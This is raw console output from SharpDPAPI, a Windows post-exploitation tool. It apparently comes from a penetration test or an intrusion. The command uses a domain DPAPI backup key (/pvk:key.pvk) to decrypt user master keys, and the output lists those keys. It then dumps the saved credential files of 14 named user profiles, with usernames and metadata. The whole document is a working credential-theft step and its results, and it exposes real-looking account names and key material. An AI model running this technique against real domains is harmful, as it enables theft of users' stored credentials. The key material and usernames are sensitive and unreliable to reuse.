SharpDPAPI.exe credentials /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.12.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!


[*] User master key cache:

{4f19deac-728c-40c7-86a6-2efdcd36adfa}:9225BBC29252B5902588EB1B9E61B4D04855F7E2
{8e0749d6-145b-4f8f-bfb8-49bac21130f7}:7F5592419167700660E744B141D46CED0F02F7FD
{1121f03d-a8cf-4de2-ba7a-ed895b23510c}:8E13AE48D63A9586986C560C3E029DC168E03494
{43e4bf89-65b3-4aaf-99ad-c06db52ccf38}:C184432F01B4D87C43048F829C16B33C511A13F5
{f47f6371-7fdb-4514-bdbe-1895e9e8aa88}:0574195D557E6031EC6FD831378A6A8A29AB7B9C
{e07c0ea7-fdda-4246-9833-0699b9c0a1ac}:71FA26467FBD4591326D9441627A683B4750573B
{4b6dac2b-37c0-470e-aae3-556f012fc922}:B5977775D6BE8B7710A0354E2D2E6F88A90BFF37
{9ef19426-b743-4ec6-ace4-aa4afd8a79d4}:F1F72C59C5B928010A865ACFBC26B458FA4E03CD
{52138758-404d-478c-9148-2100a6d60899}:79C9B2108FAFAE1D8B00FCEDE8F2A2FAD3F658A9
{04056723-05a9-42d2-bd22-73c8de0641d6}:ADFD7BCA59D72BF241B5F9FD823DC58FBCFE7A3B
{0c87236d-b159-46af-a71f-c57eaf46bca4}:E088313C1EA1871B812A9EBBF7024AEF8018C191
{f41893ed-aa67-423b-aba6-f3eb55da2b1c}:244AE39573B5E047018CBB1C143D78A15D666F43
{ac5327ed-a5b9-4205-885c-91fe499a5d47}:1100A1AF7C2CE6B1094690103346E7C4D54B468D
{03016942-a9f1-438b-9725-9218a4b76c47}:E23FADE3A74E2109A4E498B1A71906381B062403
{8d374d3c-1005-46f2-90e0-e3cfad8ab278}:D6880F6428E8A44213E9981DD8D05D65979A84D5

[*] Triaging Credentials for ALL users


Folder       : C:\Users\basilej\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {4f19deac-728c-40c7-86a6-2efdcd36adfa}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 5/28/2025 7:45:04 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02lbhufeyvjipzek
    Credential       :


Folder       : C:\Users\christianj\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {8e0749d6-145b-4f8f-bfb8-49bac21130f7}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 6/3/2025 10:35:22 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02kifavncqdqsplu
    Credential       :


Folder       : C:\Users\dalessioe\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {1121f03d-a8cf-4de2-ba7a-ed895b23510c}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 5/21/2025 11:18:01 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02odglciqspjoaaq
    Credential       :


Folder       : C:\Users\eliej\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {43e4bf89-65b3-4aaf-99ad-c06db52ccf38}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 6/5/2025 9:41:15 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02kxkeoagjcstdrl
    Credential       :


Folder       : C:\Users\gottliebr\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {f47f6371-7fdb-4514-bdbe-1895e9e8aa88}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 4/25/2025 8:50:01 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02kleoydiqbvxeli
    Credential       :


Folder       : C:\Users\kanec\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {e07c0ea7-fdda-4246-9833-0699b9c0a1ac}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 6/3/2025 12:40:51 PM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02yqybegbxggrsir
    Credential       :


Folder       : C:\Users\mollerm\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {4b6dac2b-37c0-470e-aae3-556f012fc922}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 5/29/2025 1:20:46 PM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02hgnvemymqsqqqf
    Credential       :


Folder       : C:\Users\MorgadoG\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {9ef19426-b743-4ec6-ace4-aa4afd8a79d4}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 4/29/2025 11:34:04 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02vemrpgfxxcbzhj
    Credential       :


Folder       : C:\Users\morgansa\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {52138758-404d-478c-9148-2100a6d60899}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 5/30/2025 12:55:50 PM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02ckzehrdjnzvpgl
    Credential       :


Folder       : C:\Users\Morrellka\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {04056723-05a9-42d2-bd22-73c8de0641d6}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 5/2/2025 11:38:45 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02ohkvaonpdekxgk
    Credential       :


Folder       : C:\Users\MTTech\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {f41893ed-aa67-423b-aba6-f3eb55da2b1c}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 6/6/2025 10:12:21 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02qvignszcfsafzj
    Credential       :


Folder       : C:\Users\williamsa\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {ac5327ed-a5b9-4205-885c-91fe499a5d47}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 5/19/2025 8:56:24 AM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02tkbqbcjesukbdx
    Credential       :


Folder       : C:\Users\wrightce\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {03016942-a9f1-438b-9725-9218a4b76c47}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 6/2/2025 12:45:02 PM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02qruprngcgnbqls
    Credential       :


Folder       : C:\Users\zanzalarin\AppData\Local\Microsoft\Credentials\

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {8d374d3c-1005-46f2-90e0-e3cfad8ab278}
    size             : 11068
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      : Local Credential Data

    LastWritten      : 6/5/2025 1:41:59 PM
    TargetName       : WindowsLive:target=virtualapp/didlogical
    TargetAlias      :
    Comment          : PersistedCredential
    UserName         : 02avnalingdfjqep
    Credential       :



SharpDPAPI completed in 00:00:00.1499473